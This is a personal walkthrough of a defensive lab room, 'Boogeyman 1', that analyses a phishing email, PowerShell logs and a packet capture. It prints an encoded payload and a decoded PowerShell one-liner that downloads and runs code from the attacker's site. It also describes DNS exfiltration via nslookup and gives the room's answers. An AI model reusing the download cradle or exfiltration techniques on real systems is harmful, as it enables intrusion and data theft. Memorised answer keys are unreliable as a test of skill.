Boogeyman 1

The goal of this room is to analyze TTPs of an attacker via email, endpoint, and network analyses.

I will be doing my initial analyses using the artifacts without looking at the challenge questions in order to make this as real-world as possible, then I will use the questions a guide later to fill in the gaps.

EMAIL ANALYSIS

First of all, the recipient: julianne.westcott@hotmail.com

The sender uses a very unusual email domain: Arthur Griffin — agriffin@bpakcaging.xyz

The body of the message starts out personal (addressing the recipient by name), and the sender uses polite, easygoing language like “I would be grateful” and “kindly see”:

The company website is shared here, which is almost positively a scam given the obviously misspelled name alone: bpakcaging.xyz

And the file attached, Invoice.zip, is encoded in Base64, which is a flag:

After decoding the base64 here, we see a link file is included in the zip file: Invoice_20230103.lnk

So, I decoded the base64 and put it into a new file:

And unzipped the file to get what is confirmed to be a Windows link:

A quick strings analysis shows that PowerShell is involved here, as well as shows another potential artifact: excel.ico:

And a full reveal of what’s inside the link file shows a base64-encoded PowerShell payload and the name and location of another potential artifact on the Administrator’s Desktop: excel.ico

Decoding the base64 here returns a command that downloads a specific file from the site associated with the sender’s “company”: http://files.bpakcaging.xyz/update

• The “windowstyle: hidden” parameter and value here means this all takes place in the background without opening a window, thus making the malicious activity hidden from the user

The room also provided the tool “lnkparse”, which apparently is able to parse the LNK file further, and it returned the same information but in a more detailed, readable format:

So, it’s confirmed without a doubt that this email message was definitely malicious.

Answers to questions:

Q1. What is the email address used to send the phishing email?

A1. agriffin@bpakcaging.xyz

Q2. What is the email address of the victim?

A2. julianne.westcott@hotmail.com

Q3. What is the name of the 3rd party mail relay service used by the attacker based on the DKIM-Signature and List-Unsubscribe headers?

A3. elasticemail

Q4. What is the name of the file inside the encrypted attachment?

A4. Invoice_20230103.lnk

Q5. What is the password of the encrypted attachment:

A5. Invoice2023!

Q6. Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field?

A6. aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==

• Decoded, this is:

  iex (new-object net.webclient).downloadstring(‘http://files.bpakcaging.xyz/update’)

ENDPOINT ANALYSIS

Continuing the investigation, we have a JSON file of the PowerShell logs.

Let’s gather some basic info first:

• Name of the computer:

• Looks like there are 987 events and 5 unique event IDs involved:

Breakdown of these event IDs:

There are a total of 40 unique CLI commands, so it would be interesting to take a look at those first:

Likely IoC in the form of exfiltration of a file to a remote IP address:

• File: protected_data.kdbx
• IP: 167.71.211.113 — this could be a host IP for a C2 server.

• URL (highly familiar): cdn.bpakcaging.xyz (port 8080)

Also looks like the attacker might have set up a keylogger via the binary sc.exe:

Notable executables:

• sq3.exe — seems to be something pertaining a SQL database called pm.sqlite — likely a data dump of the specified table NOTE
• Seatbelt.exe — not quite sure what this does yet.

All the directories the attacker visited:

• Making note of the user directory j.westcott

Download of 4 files, 1 from a GitHub repository and 3 from the malicious site:

• sb.exe, sq3.exe, and update — all from the malicious site
• Invoke-Seatbelt.ps1 — a PowerShell script from a GitHub repository called “S3cur3Th1sSh1t”

When I did some research on this tool from the repo, I found that it is a legit enumeration tool used for security checks, and it gathers information such as security settings, antivirus configurations, network connections, user and system info, and installed apps and processes.

In other words, it’s very dangerous in the hands of an attacker who compromised the system.

Answers to questions:

Q1. What are the domains used by the attacker for file hosting and C2?

A1. cdn.bpakcaging.xyz,files.bpakcaging.xyz

Q2. What is the name of the enumeration tool downloaded by the attacker?

A2. Seatbelt

Q3. What is the file accessed by the attacker using the downloaded sq3.exe binary (full path)?

A3. C:\Users\j.westcott\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\pmsqlite

Q4. What is the software that uses the file in Q3?

A3. Microsoft Sticky Notes

Q5. What is the name of the exfiltrated file?

A5. protected_data.kdbx

Q6. What type of file uses the .kdbx file extension?

A6. KeePass — this is a database containing password hashes associated with the password manager

Q7. What is the encoding used during the exfiltration attempt of the sensitive file?

A7. Hex

Q8. What is the tool used for exfiltration?

A8. Nslookup

This last one was rather odd to discover…who would have thought this simple tool could be used for exfiltration! Reminds me of when I found out about the same for ICMP data packets….

NETWORK ANALYSIS

We have both domains and an IP involved in the attack from the previous investigation:

• IP: 167.71.211.113
• Domain 1: cdn.bpakcaging.xyz
• Domain 2: files.bpakcaging.xyz

And there’s a PCAP to use for our investigation now.

Tried to do an initial check with Tcpdump, but that tool isn’t available on this system, so we’ll just jump into Wireshark.

There are 2194 packets involving the attacker IP:

And 888 of those are DNS traffic, so I ordered the DNS traffic sent to that IP by the packet size to determine what was exfiltrated (larger packet sizes = potential sensitive data sent out):

Naturally, it’s all encoded, but this shows that all of the packets over the standard size of 87 were involved in the exfiltration. Also, destination IP seems to resolve to a cloud-hosted site.

I’ll come back to this later. Now, for the investigation of the domains.

First domain I filtered for was files.bpakcaging.xyz:

• Packet 1: the legit request the user made to the malicious site after interacting with the phishing attachment → /update
• Packets 2 and 3: the requests the attacker made to their malicious site via PowerShell to gather a couple of tools they would use to further compromise the machine → /sb.exe and /sq3.exe

cdn.bpakcaging.xyz did not return any results, so I moved on to another likely lead: PowerShell being used to send and receive web requests.

Filtered for PowerShell in the User-Agent and got 931 results, all to the same destination IP and many to a single path, with a few POST requests to another path:

• IP: 159.89.205.40
• Common GET Path: /b86459bb
• Other GET Path (1 packet): /8cce49b0
• POST Path (42 packets): /27fe2489

Looking at the POST requests, given the relation to the cdn domain and the fact that the payload is encoded, it makes sense that these are likely packets sending out either data or enumeration info:

Decoding the very last packet from decimal returned mostly failed requests to the CDN host, but it has the user path to Documents at the very end:

Another payload on the larger side reveals that these POST packets do indeed contain enumeration information being exfiltrated to the attacker’s site:

Yet another grabbed files containing token or credential information:

• Notable credential filename: DFBE70A7E5CC19A398EBF1B96859CE5D

Now I’m taking a look at the HTTP objects to see any other potential sensitive file exfiltrated:

• manifest.json — this isn’t linked to any of the malicious IPs we found, so just noting it for now
• verified_contents.json — same as the first file
• security-credentials — now THIS is suspicious, but it doesn’t return anything of note:

But we can also get copies of the malicious files here, and update does show the establishment of the connection to the CDN site:

And finally, let’s look for the file that we KNOW was exfiltrated from our endpoint investigation: protected_data.kdbx

Sending out the file to the remote server (this is familiar to us):

Dumping data from the database (this is also familiar to us):

Notes: packet 44459, database plum.sqlite, and IP 159.89.205.40

A search for the sq3.exe file that was used to dump database table shows a MS-DOS packet with SQL (configuration?) information:

Answers to questions:

Q1. What software is used by the attacker to host its presumed file/payload server?

A1. Python

Q2. What HTTP method is used by the C2 for the output of the commands executed by the attacker?

A2. POST

Q3. What is the protocol used during the exfiltration activity?

A3. DNS

Q4. What is the password of the exfiltrated file?

A4. %p9^3!lL^Mz47E2GaT^y

I went down a rabbit hole with this question until I eventually realized I had to look at the TCP stream, not the HTTP stream….the one after the packet 44459 that dumped the database. Then, I just decoded it in CyberChef like I did with the other encoded payloads.

Q5. What is the credit card number stored inside the exfiltrated file?

A5.

Retrieved the DNS query names from the traffic since that’s where the exfiltrated data is likely hidden in (with the file broken apart, and then each part sent out via DNS consecutively)

And then cut out all the hex from those names that matches the malicious destination:

Then reassembled the hex together to get the full contents of the exfiltrated file:

And finally, reversed the hex in CyberChef, saving the output to a file:

To open the file and retrieve the data, I had to install the KeePass password manager to my computer, then open the created KDBX file and enter the master password:

Realized I forgot to remove the repeats in the hex names, so revised it then tried the whole process again and we’re in…got the card number:

This last question was pretty difficult to solve, and I actually needed to peek at a writeup to make sure I was on the right path before investing time into it. Top notch exercise though!